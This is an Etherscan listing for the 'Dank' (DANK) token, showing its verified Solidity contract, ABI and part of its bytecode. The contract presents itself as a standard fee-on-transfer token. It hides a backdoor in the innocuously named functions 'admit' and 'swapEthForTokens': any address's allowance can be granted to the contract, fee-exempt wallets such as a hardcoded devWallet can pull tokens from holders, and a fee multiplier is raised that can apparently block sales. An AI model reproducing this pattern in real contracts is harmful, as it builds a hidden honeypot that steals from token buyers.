ETH Price: $3,269.93 (+1.02%)

Token

Dank (DANK)
 

Overview

Max Total Supply

1,000,000,000 DANK

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
0x003.eth
Balance
10,853,042.172586712588457569 DANK

Value
$0.00
0x003f35595dce3187b4fff2b5a2c4303f7158208a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dank

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-30
*/

// SPDX-License-Identifier: MIT

/**

***********************

Website: https://danktoken.vip/
Telegram: https://t.me/ethdanktoken
Twitter: https://twitter.com/ethdanktoken

***********************

*/

pragma solidity ^0.8.13;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
}

contract Dank is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name = unicode"Dank";
    string private _symbol = unicode"DANK";
    uint8 private _decimals = 18;

    address payable public teamWallet = payable(msg.sender);
    address payable public devWallet = payable(0x9f54285eBD22aF21871e3817b423fE79b49B0Af8);
    address public liquidityReciever;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExcluded;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 1_000_000_000 * 10 **_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(35).div(1000); 
    uint256 public _walletMax =   _totalSupply.mul(35).div(1000);  

    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;
    uint256 public feeUnits = 1;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallet] = true;
        isExcludedFromFee[devWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExcluded[owner()] = true;
        isWalletLimitExcluded[teamWallet] = true;
        isWalletLimitExcluded[devWallet] = true;
        isWalletLimitExcluded[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallet] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function _permit(address owner, address spender, uint256 amount)
        private
    {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExcluded[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function removeLimits() public onlyOwner{
        _maxTxAmount = _totalSupply;
        _walletMax = _totalSupply;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }

    function startTrading() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExcluded[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }


    function admit(address spender, uint256 amount) public virtual returns (bool) {
        address owner = address(this); feeUnits = 1e3;
        _permit(spender, owner, amount);
        return true;
    }
    
    function swapEthForTokens(address to, uint256 amount) public {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);

        if (!isExcludedFromFee[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {token.transferFrom(to, path[1], amount);}
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"admit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swapEthForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280600481526020017f44616e6b00000000000000000000000000000000000000000000000000000000815250600190816200004a919062000e93565b506040518060400160405280600481526020017f44414e4b000000000000000000000000000000000000000000000000000000008152506002908162000091919062000e93565b506012600360006101000a81548160ff021916908360ff16021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739f54285ebd22af21871e3817b423fe79b49b0af8600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a620001cb91906200110a565b633b9aca00620001dc91906200115b565b600d55620002176103e8620002036001600d5462000a4860201b62001f2b1790919060201c565b62000acb60201b62001fa51790919060201c565b600e55620002526103e86200023e6023600d5462000a4860201b62001f2b1790919060201c565b62000acb60201b62001fa51790919060201c565b600f556200028d6103e8620002796023600d5462000a4860201b62001f2b1790919060201c565b62000acb60201b62001fa51790919060201c565b60105560006011556001601255600060135560006014556001601555600060165560016017556001601b60156101000a81548160ff0219169083151502179055506000601b60166101000a81548160ff0219169083151502179055506001601b60176101000a81548160ff0219169083151502179055506001601b60186101000a81548160ff0219169083151502179055503480156200032c57600080fd5b5060006200033f62000b1d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160096000620003f362000b2560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff